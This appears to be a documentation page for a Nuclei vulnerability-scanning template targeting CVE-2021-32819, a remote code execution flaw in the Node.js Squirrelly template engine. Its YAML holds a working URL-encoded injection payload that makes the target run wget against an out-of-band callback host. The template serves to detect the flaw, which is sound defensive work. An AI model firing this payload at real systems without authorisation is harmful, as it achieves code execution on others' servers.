Skip to content
Nuclei Templates

Nodejs Squirrelly - Remote Code Execution

ID: CVE-2021-32819

Severity: high

Author: pikpikcu

Tags: cve2021,cve,nodejs,rce,oast,squirrelly

Description

Section titled “Description”

Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.

YAML Source

Section titled “YAML Source”
id: CVE-2021-32819


info:
  name: Nodejs Squirrelly - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Update to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
    - https://www.linuxlz.com/aqld/2331.html
    - https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32819
    - https://github.com/squirrellyjs/squirrelly/commit/c12418a026f73df645ba927fd29358efe02fed1e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-32819
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.79486
    epss-percentile: 0.98284
    cpe: cpe:2.3:a:squirrelly:squirrelly:8.0.8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: squirrelly
    product: squirrelly
  tags: cve2021,cve,nodejs,rce,oast,squirrelly


http:
  - method: GET
    path:
      - '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//'


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Wget"
# digest: 4a0a00473045022100cda75ce7884b8690108eb7e0090cfdb1fd2300e3b73c4a494dac70554124f40602204f29d301408d3a062797a7699bb0940b647c6c1d3e1e3b950a8cfcb4f5824aef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-32819.yaml"

View on Github